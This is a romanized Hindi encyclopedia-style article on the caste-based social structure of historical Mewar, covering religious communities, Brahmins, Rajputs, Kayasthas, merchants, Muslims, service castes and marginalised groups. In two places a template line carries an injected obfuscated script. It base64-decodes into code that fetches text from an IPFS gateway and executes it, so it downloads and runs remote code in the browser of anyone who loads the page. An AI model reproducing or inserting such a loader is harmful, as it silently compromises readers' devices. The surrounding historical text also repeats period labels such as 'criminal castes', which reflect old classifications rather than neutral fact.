मेवाड़ की जातिगत सामाजिक व्यवस्था

meva d vishay soochi

parichay    azadi se poorv    itihas    bhoogol    chitrakala    nadiyaan    jhilean    jatigat samajik vyavastha    striyoan ki sthiti    prachalit sikke

meva d ki jatigat samajik vyavastha paramparagat roop se ooanch-nich, pad-pratishtha tatha vanshotpann jatiyoan ke adhar par sangathit thi. samajik sangathan mean pratyek jati ka mahatv us jati ki vanshotpatti tatha usake dvara aangikrit vyavasay par nirbhar tha. jati-vyavastha ko sthayitv pradan karane tatha usake astitv ko akshun banaye rakhane mean jati panchayatoan ki bhoomika mahattvapoorn thi. jatigat panchayatean apani jatiyoan ko vyavasthit roop se sanchalit karate hue khan-pan, shadi-vivah evan riti-rivajoan se sambandhit samay-samay par niyam banati thian aur apani jati ke logoan se jatiy vibhagoan evan maryadaoan ka palan karavati thian. is kary mean jati-panchayatoan ko rajakiy sanrakshan bhi prapt tha.

samaj vibhajan

samanyat: rajy jati panchayatoan ke karyoan mean hastakshep nahian karata tha. vastut: meva d ke maharanaoan ne bhi paramparagat samajik dhaanche ko banaye rakhanean mean kafi yogadan diya tha. jati panchayatoan ke niyamoan ko bhang karane vale vyaktiyoan ko dand dene ki vyavastha thi. sabase k da dand jati se bahishkrit karana tha. samaj paramparagat roop se char bhagoan mean vibhakt tha-

1. brahman
2. kshatriy
3. vaishy
4. shoodr

jain apana svatantr astitv rakhate hue bhi svany ko hindoo samaj ke vaishy varg ka hi manate the. brahman, rajapoot, mahajan adi jatiyoan ko rajy dvara jo paramparagat suvidhaean prapt thian, shasak ka kartavy tha ki vah unhean shashvat roop se prachalit rakhe. is prakar 18vian shatabdi tak meva d mean jati pratha par adharit paramparagat samajik dhaanche ka astitv bana raha.

british niyantran

18vian shatabdi ke poorvarddh se british sanrakshan ki sthapana tak antararajyiy yuddhoan, uttaradhikar ka sangharsh maharana aur usake samantoan ke parasparik sangharshoan tatha maratha v pindariyoan ki lootamar ke parinamasvaroop rajy ki arthik sthiti ast-vyast ho gayi aur ab paramparagat jatiy vyavasthaoan ka palan karane ki pahale jaisi maryada nahian rahi. 'aangl-meva d sandhi' (1818 ee.) ke bad rajy par british niyantran sthapit ho gaya. samantoan ki chakari ko nakad rakam ki adayagi mean parivartit kar diya gaya, jisake phalasvaroop samantoan ki senaoan ka vighatan, adhunik shiksha ka prasar, prashasanik sansthaoan ka aangrezikaran, bhoomi-bandobast, yatayat ke naye sadhan adi ne logoan ko apane jivan-yapan hetu apane paramparagat jatigat vyavasay ke atirikt kuchh any vyavasayoan ko apanane ke lie protsahit kiya.

dharmik samudayoan ka sankhyatmak pratishat

samuday	matavalamb	pratishat
hindu	shaiv, shakt v vaishnav	73.48%
	atmavadi (adivasi)	13.34%
	jain	9.25%
	sikkh	0.01%
	ary	0.01
muslim	sunni	3.05%
	shiya	.40%
eesaee	kaitholik tatha protostant	0.02

dharmik adhar par jatiy vargikaran

jab meva d ki alochyakalin samajik sanrachana ke svaroop ka vishleshan karate haian to pate haian ki samajik rachana mean varn-vyavastha keval bhavatmak roop mean vidyaman rah gee thi. jati aur dharm hi is kal ke varg tatha vyavasay ko prabhavit kiye hue the. 18vian shatabdi tak ka meva di samaj dharm ke adhar par do bhagoan hindoo tatha muslim mean vargikrit tha. hindoo samuday mean vaidik, jain tatha atmavadi mane ja sakate haian, vahi muslim samuday mean 'shiya' tatha 'sunni' do upabhag vidyaman the. pun: dharmik vibhedoan ke anusar vaidik shaiv, shakt tatha vaishnav mean tatha jain 'shvetambar' v 'digambar' mean up vibhajit the. atmavadi shuddh prakriti upasak aur vaidik prabhavalipt eeshvaravadi ke matamataantaroan me vibhajit the. shaivoan mean sannyasi, nath, gosaee, achary adi roopoan mean kee prakar ke bhed vyapt rahe. vaishnavoan mean ramavat nimavat, madhavachary tatha vishnusvami namak char sampraday the aur phir ramasanehi sampraday, dadoopanthi, kabirapanthi, narayanapanthi adi anek shakhaoan mean phaile hue the, jinake acharoan-vicharoan mean upasana ki drishti se kafi antar tha.

unnisavian shatabdi ke uttarardh mean meva di samaj mean eesaiyoan ka pravesh bhi ho chuka tha. yah samuday sthan bhed ke anusar shuddh eesaee tatha eanglo-indiyan ki shreniyoan mean vargikrit tha. rana sajjan sianh (1874-1884 ee.) ke shasan-kal mean hindoo samuday ke aanttargat sikkh samaj ke matavalambi bhi sammilit hone lage the. in sabhi dharmik samudayoan ka jan sankhyatmak pratishat unnisavian shati ke ant tak raha.

dharm sahishnu samaj

meva di samaj mean vibhinn dharmavalambiyoan ke ek sath hone ke bavajood bhi vyavaharik taur par koee dharmik bhedabhav nahian tha. pratyek dharmavalambi vyakti doosare dharm ko utane hi adar ki drishti se dekhata tha, jitana ki apane dharm ko. yahaan tak ki yahaan ke ranaoan ne bhi dharmik bhavanaoan v manyataoan ka samman kar dharm ke prati apani sahishnuta v tatasthata ko dikhaya. rana janat sianh dvitiy ne ramala, kat di, arneta aur kanya gaanvoan ko ajamer ki daragah ko bheant kar diya. jain matavalambi jo ek svatantr astitv rakhate the, liangaji, lakshmiji, kalika devi adi hindoo dharm ke pratikoan mean astha rakhate the. rajy mean janata dvara banaye gaye vartaman hindoo-jain mandir isake udaharan haian. atmavadi log ekaliang (shiv), kalika devi (shakt), shrinath ji (vaishnav) tatha kaliya ji (rrishabhadev) ki pooja mean vishvas rakhate the. 'shivaratri' ke mahaparv par bhil logoan ka ekaliangaji ke darshan karane ana, unake lok nrity 'gavari' mean 'raee' (parvati), aur 'budaya' (shiv) ki upasthiti, dipavali ke dinoan mean shrinath ji ke chaval lootana tatha dhulev dham ke rrishabhadev ko apana isht manana, isaka praman haian. muslim samuday tatha hindoo samuday mean parasparik dharmik bhavana ka adar kiya jata tha. muslim log hinduoan ke samajik-dharmik utsavoan mean bina kisi bhed-bhav ke bhag lete the. holi ke avasar par gale milana, gulal lagana, jadoo-tonoan mean vishvas karana, jha d-phooank, nazar adi mean shraddha rakhana adi islam ke viruddh kary hote hue bhi inhean apanaye hue the. isi prakar hinduoan dvara muharram ke taziyoan ke niche se bachchoan ko nikalana, muslim piroan mean vishvas karana adi hindoo-muslim dharmik sahishnuta ko darshata hai.

yadyapi meva di samaj mean eesaee samuday apana dharm sahishnu sthan nahian bana paya tha aur apane dharmik prachar dvara janajati ke kuchh logoan ko isaee dharmanuyayi banane mean vah saphal ho gaya tha, phir bhi janata dvara isaka koee tivr virodh nahian kiya gaya. at: meva di samaj mean eesaiyoan ke prati bhi koee dvesh nahian tha aur samaj dharm sahishnu v sampradayik bhavana-mukt tha. bharat mean varg staran vanshanukraman par adharit paitrik aur janmagat hai, jise jati ke roop mean jana jata hai. alochyakal mean vargastaran jati samaj, jatiyoan ki sthiti, unaka samajik antaral tatha paitrik paramparagat vyavasayoan ke adhar par vargikrit tha.

brahman jatiyaan

jati ki sanrachana ko vistrit svaroop mean varn vyavastha ke sath jo da ja sakata hai. paramparagat samajik dhaanche mean sarvochch sthan brahman jatiyoan ko prapt tha, parantu brahman jatiyaan bhi vibhinn upajatiyoan mean vibhajit thi. 18vian shatabdi ke poorv anek brahman upajatiyaan meva d mean vidyaman thian, tathapi 19vian shatabdi mean anek brahman parivar jivika ki khoj mean any rajyoan v prantoan se akar meva d mean bas gaye the. isamean bag d se bag diya, jodhapur se jodhapuriya, sirohi se sirohiya adi mukhy rahe the. isake atirikt meva d ke maharanaoan ne bhi anek brahman parivaroan ko unake vyavasayatmak kaushal v samajik dharmik karm karane hetu amantrit kar meva d mean basaya tha. gujarat rajy se parakh aur meva da brahman, uttar pradesh se kannaujiya, sasvat gau d, shri gau d adi inake udaharan haian. brahmanoan ki in upajatiyoan mean parakh, bhatt, kannaujiya, sarasvat, gau d, menariya, palival adi mukhy mani jati thian. yah sabhi upajatiyaan mool mean brahman jati hote hue bhi unake khan-pan tatha vaivahik sambandh n rakhane ke karan alag-alag jatiyaan kahalati thian. in sabhi brahman jatiyoan mean parasparik khan-pan sambandh kachche aur pakke bhojan karane vali jatiyoan ki shreni mean vibhakt tha. pakka bhojan karane vale brahmanoan ki shreni uchch mani jati thi. pakke paki brahman any jatiyoan ke yahaan bana bhojan nahian khate the aur kachcha bhojan karane vale brahman dvij jatiyoan (brahman, rajapoot tatha vaishy) ke yahaan bana hua bhojan grahan kar sakate the. brahman jatiyoan mean maans-madira sevan karane vale jati-bhrasht mane jate the, kintu inaki sankhya nagany thi. brahman jati ki antarik rachana avantak, gautr tatha pravaroan mean vibhakt thi. vaivahik sambandhoan ke lie jati ke andar bhi gautr evan pravar ka dhyan rakha jata tha. ek hi gautr v pravar ke stri-purush parasparik vivah nahian kar sakate the. kintu dhire-dhire brahmanoan ke achar-vyavaharoan mean vikritiyaan ane lagian. khandit vyavaharoan ke karan samajik rajanitik shakti ko prapt karane maian yah jati asamarth rahi athava unaki antarniyantran pranali ne samajik netritv mean pachha d diya. phir bhi samaj mean pratishtha aur samman ki drishti se brahmanoan ka mahatv tha.

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ajivika

adhyayan-adhyapan, paurohity, dharmik karmakandoan ka sampadan, pooja-path, jyotish kary ityadi vyavasay brahmanoan ki paramparagat vrittiyaan mani jati thian. shiksha ka kam karane vale brahmanoan ko samanyat: rajy se vetan athava bhoomi di jati thi. adhikaansh brahmanoan ki ajivika ka mukhy sadhan mandiroan mean devarchan v pooja-path ka paramparagat vyavasay tha. adhikaansh mandiroan ke sath, rajy athava samantoan dvara pradan ki gee jagir athava bhoomi ju di huee thi, jisaka upayog brahman pujari karate the. isake atirikt unhean rajy tatha janata se nakad chadhava bhi milata rahata tha. vedabhyasi v shastrapathi brahman sampoorn rajy mean gine-chune rahe the. jyadatar brahman nirakshar shreni mean the aur vyavaharoan v niyamoan mean rudhivadi the. samaj ke samajik aur dharmik sanskaroan ka sampadan karane ke lie pratyek jati aur kutumb ke purohit hua karate the. 'bakhshikhana' ke thanam-bahiyoan se jnat hota hai ki ye purohit log apane yajamanoan se bheant, dravy tatha varshik yajamani prapt karate the. rajy athava rajy ke sabhi thikanoan ke purohit thab da palival brahman rahe the, jinhean rajy athava thikane ki or se bhoomi ka anudan milata rahata tha. maharana ke purohit rajy mean b de purohit kahalate the, jinhean dharmik star par uchch evan pratham shreni ke samantoan ke saman pratishtha prapt thi. brahmanoan ki ek any shreni mritak sanskar aur kriya-karm karavati thi, jinhean meva d mean 'thakarmantri brahman' kaha jata tha. karmantri brahman, purohitoan ki shreni se nimn mane jate the. audichy, bhatt, ameta adi brahman jyotish aur katha-vachak ka kary karate the. rajy dvara is kary ke lie dravy aur bhoomi ke sath-sath raj jyotish, katha-bhatt, katha-vyas adi ka samman bhi diya jata tha. isake pashchath tritiy shreni pujari aur panchagapathi brahmanoan ki thi.

paitrik vyavasay

rajy ke pratyek mandir ka pujari brahman hota tha. panchagapathi brahman gram, bastiyoan v shaharoan mean basti-kary karate the. achary log vaidyak ka kary karate the. meva d ke kuchh brahmanoan ne vyapar-vanijy ko paitrik vyavasay ke roop mean apana rakha tha. samanyat: shrimali brahman doodh bechane tatha halavaee ka dhandha karate the tatha parakh v nagar brahman hire-javaharat parakhane v gota kinari bechane ka kam karate the. bhilava da ke khandelaval brahman v udayapur mean nagar, parakh v shrimaliyoan ke anek parivar abhi bhi apana paitrik kary karate the. kintu vartaman shatabdi ke pratham do-tin dashakoan tak brahmanoan dvara vyapar-vanijy ka kary uttam nahian mana jata tha. gramin brahman krishi ke vyavasay ko bhi apana chuke the. dharmik aur rajy seva ke badale bhoomi di jati thi, us bhoomi ko prapt kar kalantar mean ye brahman laghu krishak ban jate the. krishi karane vale brahmanoan ko bhoomi-kar ke mamale mean suvidhaean pradan ki jati thian.

rajapoot

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meva d mean samanti vyavastha par adharit samaj mean rajapoot jati ka ek vishisht sthan tha. raj parivar tatha shasak jati se sambandhit hone ke karan brahmanoan ke bad samaj mean rajapootoan ka kafi uchch sthan tha. rajapoot apane ko tin vansh mean se kisi ek se sambandhit karata tha-

1. ayodhya ke raja ram se utpann soory vansh
2. dvarika ke raja shrikrishna se utpann chandr vansh
3. vashishth rrishi dvara aboo parvat par yajn se utpann agnivansh

in tin rajapoot vanshoan mean, jisamean 16 sooryavanshiy, 16 chandravanshiy aur 4 agnivanshiy the, sampoorn jati vargikrit thi. samoohik roop se ye chhattis-kul kahalate the. lekin meva d mean keval 13 kul hi vidyaman the. yah kul vyavastha pun: khapoan aur khapoan se paitrik jagir ke mukhiya ke nam par up-khapoan mean vibhajit thi. meva d ke maharana ke sisodiya kul ke sadasy hone ke karan rajapoot jatiyoan mean sisodiya kul ka vishesh mahatv tha. yadi kahian rajapoot-jatiyata ka sanshay utpann ho jata to rana ke nirnay ko aantim man liya jata tha. rajy ke shesh rajapoot kuloan ki pratishtha ka star unaki jagiroan tatha maharana dvara diye jane vale samman dvara nirdharit hota tha. rajapootoan mean vivah sambandh ki drishti se uchch parampara vidyaman thi. ek hi vansh ke rajapoot-kul parampar vivah kar sakate the. agnivanshiy rajapoot ka putr soory aur chandr ki kanya se vivah nahian kar sakata tha, jabaki soory vanshiy rajapoot putr ke lie any donoan vansh se sambandh ho sakate the. khan-pan vyavahar mean vansh bhed vyapt nahian tha.

dasaya chakar rajapoot

rajapootoan ki is shreni mean das athava chakar rajapootoan ki ikaee alochyakalin samaj mean ek sthan rakhati thi. rajapootoan dvara any jati ki striyoan ko 'rakhail' rakhane ki pratha aur nirdhan bachche-bachchiyoan ke kram-vikram ke rivaj ne bhi is jati ke udbhav tatha vikas mean yogadan diya. gola rajapootoan ko uchchatar rajapoot kanyaoan ke vivah mean dahej ke roop mean bheja jata tha. is par rajapoot ki pratishtha nirbhar karati thi ki usane kanya-vivah mean kitane das-dasi pradan kiye haian. in das-dasiyoan ka prayog shasak, jagiradar tatha sampann rajapoot apane prashasakiy, vyavasthapakiy tatha kam-tripti ke lie karate the. das-dasiyoan ke vivah ki ek aupacharikata poori kar di jati thi, jisase svami se utpann putr ka pita matr vivahit pati kahalata rahe. rajapoot log is jati ki striyoan ke sath khan-pan mean chhoot nahian manate the, jabaki purushoan ke sath khan-pan aur vyavahar ki sthiti bhinn thi. das-rajapootoan ki samajik pratishtha aur starikaran shasak athava svami se usake vyaktigat sambandhoan ki doori aur samipata par nirbhar rahata tha. yah sambandh hi dasoan ki arthik sthiti ko vyakt karate the. kee das rajapoot apani yogyata aur svami ki kripa ke dvara jati mean upekshit hote hue bhi apana samajik-rajanitik prabhav aur samman rakhate the. rajapootoan ke simit vyavasay tatha usake parinam samanyat: rajakiy seva athava samanti seva ke atirikt any kisi bhi vyavasay ko apanana rajapoot apane kul ki pratishtha ke viruddh samajhate the. at: prashasakiy kary aur sainik seva inake jivikoparjan ka mukhy sadhan tha.

rajapootoan ka vighatan

18vian shatabdhi ke poorvarddh tak meva di rajapootoan ne apani matribhoomi ki akhandata tatha sarvabhaumikata ke lie mugaloan tatha marathoan ke daant khatte kiye tatha apane pranoan ki ahuti dekar adarsh prastut kiye. kintu 18vian shatabdi ke uttarardh se nirantar yuddhoan, parasparik eershya aur arthik vipannata ne rajapootoan ke rajanitik sangathan mean vighatan utpann kar diya. apani gauravashali paramparaoan ko bhoolakar kul vaimanasy aur vidvesh ke andhakar ve mean doobane lage. adhikaansh samay ve ghrinit sangati athava dev-dasiyoan ki chapaloosi mean nasht karate the. mady v aphim ke ati-sevan ke parinamasvaroop unamean kee durgun utpann hote gaye. apani jhoothi aur dambhapoorn pravritti evan jirn gaurav nirvah hetu ve kuchh bhi karane ko taiyar the. 'aangl-meva d sandhi' ke bad rajapootoan ke lie sainik seva ka vyapak kshetr sankuchit tatha simit ho gaya. prashasakiy sevaoan mean any jatiyoan ka prabhav badh jane ke karan ab rajapootoan ki sthiti mean parivartan ane laga. vyapar-vanijy tatha dhan-sampatti arjit karane ke any vyavasayoan mean ruchi n hone ke karan ab rajapootoan ko krishi-kary apanane par vivash hona p da. british sanrakshan ke poorv adhikaansh jagiradar rajapoot the aur unaki bhoomi par any kashtakar kheti karate the. lekin ab in krishi jagiradaroan ki tin arthik shreniyaan ho gee thian-

1. doosaroan se kheti karane vale b de jagiradar
2. svayan aur doosare kashtakaroan ke sath kheti karane vale madhyam jagiradar
3. apani bhoomi par svayan kheti karane vale jagiradar

kayasthoan ka sthan

nauvian shatabdi ke lagabhag kayasth jati ne hindoo samuday mean varnavihin sthan bana liya tha. apani utpati ke sath hi yah jati abhijat varg se samvandhit rahi thi. meva d mean is jati ki 'mathur' shakha vidyaman thi. inamean pun: prashakha ke roop mean 'bhatanagar' ki shreni prapt heti hai, jo panjab ke bhataner kshetr se deshatan karane vale the. shrivastav, katariya, nigam, saksena adi kayasthoan ki prashakhaean thian. vivah sambandhoan ka prachalan sirf antarshakha aur prashakha tak hi simit tha. maharan dvara svikrit pattoan, paravanoan v adeshoan par 'sahi' ka nishan lagane vale 'sahivala' aur rajakiy-mantralay ka kam karane vale 'bakhshi' kahalate the. prachin kalin 'panchakool' ki samiti ka gharana 'pancholi' kayasth kahalane lage the. prakaryatmak drishti se yah jati vidvata mean brahman gunoan, raj vyavastha mean vaishv-gunoan evan visa mean rajapoot gunoan se yukt rahi thi. apane is vanshanugat gunoan ke karan ye meva d rajy ki sainik aur asainik seva karate rahe the. kamadar, kushal kootanitik, prashasak, raj adhikari, qanoon visheshajn, mahasahani, lekhapal, rok diya tatha lipik ke roop mean unaka ek vishesh sthan tha. maharana v samantoan se nikat sampark mean rahane ke karan inhean inam tatha jivikoparjan ke lie bhoomi adi prapt hoti rahati thi. is prakar bhoo-grahita kayasth svat: krishakoan ki shreni mean a jate the, kintu inaki bhoomi par krishi kary inake ghareloo das athava gaanv ke any krishakoan ke dvara kiya jata tha. maans-sadira ke prayog ke sambandh mean is jati mean koee pratibandh nahian tha. at: ise vichalit brahman ke roop mean bhi mana jata tha. samajik-arthik pratishtha mean yah jati rajapootoan v vaishyoan ke saman star par rahi thi.

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vaishy

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vaishy athava mahajan jati ko samanyat: baniya, bohara aur seth kaha jata tha. jain dharm ki dharmik sahishnuta se prabhavit hokar rajapootoan tatha kee samajopakshit jatiyoan ke logoan ne jain dharm ko aangikar kar liya tha. dhire-dhire jati-mishran prakriya ke parinamasvaroop inamean shakha, prashakha, gautr adi ke bhed utpann ho gaye. jati-vadi alagav ki bhavana prabal hoti gee. shrimal, osaval, agraval, maheshvari, pokhal, bijavargi adi meva d mean vaishy-mahajan jati ki shakhaean thian. mahajanoan mean ek arddh-jati bhi vidyaman thi. mahajanoan dvara any jati ki striyoan se utpann sadasy arddh-jati ke hote the, jinhean 'panchal' ya 'paanch da' kaha jata tha. mahajanoan ki sabhi jatiyaan antarvivahi thian. gautr aur prashakha ke anusar vahirvivahi sambandh prachalit tha. ooanch-nich ka samajik bhed-vibhed vivah sambandhoan mean mapa jata tha.

vyavasay v arthik sthiti

vanijy-vyapar tatha len-den mahajanoan ka paramparagat vyavasay tha. vyapar ke alava udhogoan par bhi unaka ekadhipaty tha. alag-alag vyavasay ke anusar a dat ka dhandha karane vale 'a datiya', sone-chaandi ka dhandha karane vale 'sharraph', mandi mean kray-vikray ki madhyasthata karane vale 'dalal', kau di ka dhandha karane vale 'kau diyath' kap de ke vyapari ko 'bajaj' tatha aushadhi vikreta mahajan 'pansari' kahalate the. mahajan jatiyoan mean aisa koee vanijy vyapar nahian tha, jo vaishy samaj ki pratishtha aur samman ke pratikool mana jata ho. rajy tatha jagiroan ki prashasanik vyavastha se sambandhit mahajanoan ko vetan ke badale bhoomi di jati thi. aise mahajan svayan kheti n karake hijariyoan se kheti karavate the. rajy evan jagir ki prashasanik sevaoan mean mukhy roop se lekha-vyavastha, nyay-vyavastha, adhinasth seva tatha sainy seva pramukh thi. prashasan aur sainy vyavasthapan ke uchch padoan par is jati ke mehata, kothari, gaandhi galooandaya adi gharane ke logoan ne adhik kary kiya. vaishyoan ki arthik sthiti achchhi thi. jagiroan ki prashasan-vyavastha chalane, samantoan ko rrin adi pradan karane, british sarakar ko khiraj chukane tatha rajapootoan ko apani samajik rudhiyoan evan gaurav ka nirvah karane hetu samay-samay par seth-sahookaroan ki sharan leni p dati thi. is prakar dhire-dhire vaishy-mahajan varg ne apana rajanitik, arthik aur samajik prabhav badha liya tha.

charan-bhat

'charan' evan 'bhat' ko alag-alag jati mean vargikrit kiya ja sakata hai, kintu donoan vargoan ke samajik antar ko dekhate hue unhean ek hi jati ki do up-jatiyaan kaha ja sakata hai. charan jati mean brahman aur rajapoot jati ke gunoan ka samanjasy milata hai. pathan-pathan tatha sahityik rachanaoan ke karan unaki tulana brahmanoan se ki jati hai. charan log rajapoot jati tatha rajakul se sambandhit the tatha ve shikshit hote the. apane shaikshik jnan ki adhikata ke karan ve rajasthani vat, khyat, raso aur sahity ke lekhak rahe the. vahian bhat log janasadharan se sambandhit the, adhikatar padhe-likhe nahian the. lalasayukt yachak-pravriti ne unaki pratishtha ko dhumil kiya. shiksha ki kami ke karan ve charanoan se alag pidhinama, vanshavali tatha kursinama ke sangrahakarta the. lekin phir bhi samaj mean donoan ki pratishtha barabar ki rahi thi.

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muslim samaj

meva d mean muslimoan ka svatantr astitv raha tha. janasankhya ki drishti se hindoo samuday ke bad inaka doosara sthan tha. hindoo jati-vyavastha se prabhavit muslim samuday bhi vibhinn vargoan mean banta tha.

1. saiyad, shekh evan pathan muslim, jise asharaf samooh kaha jata tha.
2. parivartit muslim, jinamean kayamaravani, mevati athava mev the.
3. pak (pavitr) vyavasayi jatiyaan, jisamean julahe, darji, kasaee, hajjam, kuanj da, dhuniya, dhobi, fakir, mahavat adi ate the.
4. napak (apavitr) jatiyaan, jaise- mehatar adi.

in staroan ka prabhav unake vivah sambandhoan v samajik vyavaharoan par bhi dikhaee deta tha, arthath uchch star ka purush nimn star ki kanya se vivah kar sakata tha, lekin nimn star ke purush ka uchch star ki kanya se vivah nahian ho sakata tha. dharmaparivartit muslimoan ke anek riti-rivaj hinduoan ke saman hi prachalit the.

1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

jivika kary

meva d ke muslim samuday ka mukhy kary sainik seva tha. alochy kal mean marathoan ke viruddh unaki prashansaniy sevaoan ke karan anek muslim parivaroan ko bhoomi athava jagir pradan kar di gee thi. anek muslim parivar rajy ke lie top, bandook v barood banane ka kam karate the. kintu 'aangl-meva d sandhi' ke bad sainik avashyakata n hone ke karan inamean se adhikaansh muslim parivar krishi kary karane lag gaye the. jin muslimoan ka mukhy vyavasay krishi tha, unhean 'kuanj da jati' se jana jata tha. any vyavasayi muslimoan mean kap da rangane vale 'rangarej', choo diyaan banane vale 'choo digar', astr-shastr banane vale 'sikaligar', kapas dhunane vale 'pianjara', kap de bunane vale 'julaha' ke sath-sath 'hajjam', 'kasaee', 'bhishti', 'mehatar' adi mukhy the. rajy ki asainik seva karane vale muslimoan mean 'philakhana' ke mahavat, nav ke karakhane ke navik, astabal ke sees, payagadar, hathiyoan ko prashikshan dene vale jalebadar, rajy savari mean chh di lekar chalane vale chh didar, patthar gadhane vale salavat, chunaee karane vale mistri, naqqashi karane vale nakkash adi mukhy the. dharmadhikariyoan ke any vargoan mean qazitatha maulavi log the. inaki jivika dharmarth bhoomi ya dan par chalati thi.

bohara muslim

ye shiya matabalambi the tatha arthik roop se sampann the. bohara vyapariyoan ka sarvapratham ullekh maharana shambhoo sianh ke kal mean milata hai. sanbhavat: vyaparik suvidhaoan se prerit hokar ye meva d aye the. ye log vyaj par rrin dene, sa diyoan par jari ka kam karane, motiyoan ka mala adi banane tatha kap da v manihari ki bikri hetu pheri ka dhandha bhi karate the. 19vian shati ke uttarottar mean in logoan ne lauh vyavasay ke thok vyapar par apana ekadhikar sthapit kar liya tha. rajy sevaoan mean niyukt anek bohara muslim meva d ke adivasi kshetroan mean rupayoan ka len-den tatha vyapar bhi karate the.

eesaee

eesaee samuday meva d mean 1818 ee. ko meva d aur eest iandiya kampani ke samajhote ke pashchath hi basane laga tha. ejensi ke british karmachari, dharm pracharak padari, sainik karmachari tatha dharm parivartit eesaee is samuday mean sammilit the. meva d mean inaki sankhya simit hi thi. 19vian shati ke aantim varshoan mean meva di samaj mean sikkh tatha ary samaji logo ka pravesh hua.

is prakar yah spasht hai ki meva d mean sabhi jatiyoan ki shakha-prashakha kisi n kisi prakar se vidyaman rahi thi. unamean ooanch-nich ki samajik doori bhi kafi had tak vyapt thi. lekin ooanch-nich ki parampara ke bavajud log ek-doosare ki jati aur man-maryada ka adar karate the tatha arthik sambandhoan mean ek-doosare par ashrit the. vibhinn sampradayoan mean dharmik sahishnuta evan sahayog ki bhavana yahaan ke samaj ki mukhy visheshata thi.

1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sevak jatiyaan

is varg ki jatiyoan mean kandoee, tamboli, teli, naee, bari, pianjara (muslim), khatik, kalal, dhobi, dholi ityadi pramukh thian. in jatiyoan ka parasparik jati-bhed kary ki visheshata evan usake prakar par nirbhar karata tha, jaise- mithaee banane vale kandoee, pan lagane vale tamboli, tel nikalane vale teli, bal katane v saph karane vale naee, pattal-dona banane vale vari, maans-vikreta khatik, sharab vikreta kalal, kap de dhone vale dhobi, utsav gayan-vadan karane vale dholi kahalate the. samajik-dharmik karyoan mean naee, bari, tamboli adi mahattvapoorn sevak jatiyaan thian. yah sabhi jatiyaan yajamani par apana nirvah karati thian.

upekshit jatiyaan

hinduoan ki vikrit jati-vyavastha se meva d bhi abhishapt tha. valmiki tatha chamar jatiyoan ko nimn jati ka darja prapt tha. chamar jati ki upajatiyoan mean mrit pashu ke cham de ki saphaee v pakane vale bola, gramy charmakari karane vale regar tatha sooar palane vale bhaanbi mukhy jatiyaan thian. hey krishak shreni mean kir namak jati ke log nadi ke kinare tarabooj tatha kharabooj ki kheti karate the. muslim charmakaroan ko kasaee kaha jata tha. nimn jatiyoan ki bastiyaan pray: shahar se bahar banayi jati thian. sarvajanik kuoan v talaboan ka prayog inake lie varjit tha. ye jatiyaan bhi antarjati vivah manati thian. in nimn jatiyoan ke alava any upekshit jatiyoan ko tin vargaan mean baanta ja sakata hai-

1. dhumakk d-vyavasayi jatiyaan - gadoliya luhar, baladiya evan banajara
2. aparadhakarmi v lokanuranjani jatiyaan - kanjar, saansi, thori bavari tatha kalabeliya, nat, rakhat, mer adi.
3. atmavadi athava adivasi jatiyaan - bhil, mina aur grasiya

• dhumakk d vyavasayi jatiyaan - ga doliya luhar moolat: luhar namak shilpi jati ki ek shakha the. inaka kary mukhyat: lauh dhatu ke krishi upakaranoan ka nirman karana tha. ye log parivarik samoohoan mean bailaga diyaan par deshatan karate rahate the. ek hi samooh ke log antarsamooh vivah nahian karate the. inamean kanyaoan ki kafi kami thi, jis karan vadhoo-mooly lene ki pratha ka prachalan in logoan mean prachalit tha. banajara jati, meva d ke uttar-poorvi kshetr mean baladiya bhi kahalate the. inamean haivasi, gavariya aur nat namak tin upajati bheand the. 18vian shatabdi ke bad is jati ki arthik sthiti lagatar kharab hoti gee. isake parinamasvaroop inhoanne doosare vyavasay tatha asamajik karyoan mean apane ap ko sanlagn kar liya.

• aparadhakarmi v lokanuranjani jatiyaan - aparadhakarmi tatha lokanuranjani jatiyoan ke vivah sambandh antarjati samooh mean hote the. rakt sambandhoan ke atirikt inamean koee vivah pratibandh nahian tha. kee jatiyoan ka paramparagat vyavasay gayaki tha. kalabeliya jati saanp ka khel dikhati thi tatha ata pisane ki chakki tatha kharal-batta banane ka kary karati thi. vagariya jha doo, chataee adi banane ka laghu udyog kar jivika chalate the. sarag da jati gane-bajane tatha raval log ramat dvara manoranjan ka kam karate the. nat khel-tamash dikhakar apana pet palata tha. mer v ravat namak jatiyaan meva d ke uttari-poorvi kshetr ke vany-prantoan mean rahati thi. muslim akramanoan ke prabhav se unhoanne islam dharm ko apana liya tha, lekin abhi bhi hindu riti-rivajoan ko ve bhool nahian paye the. in jati ke log sampann vyaktiyoan ke yahaan ghareloo das ban kar apana gujara karate the. meroan ki arthik sthiti ka anuman unaki paitrik dasatv pravritti se lagaya ja sakata hai.

• atmavadi athava adivasi jatiyaan - meva d rajy ke bhomat, magara, chhappan, khera d v ooparamal ke jangaloan mean bhil, grasiya aur mina jatiyaan rahati thian. inamean vivah sambandhoan mean bhaee-bahan ke rakt-sambandhoan ko chho dakar shesh par pratibandh nahian tha. inamean adhikatar 'nata' tatha 'dapa' ki pratha prachalit thi.

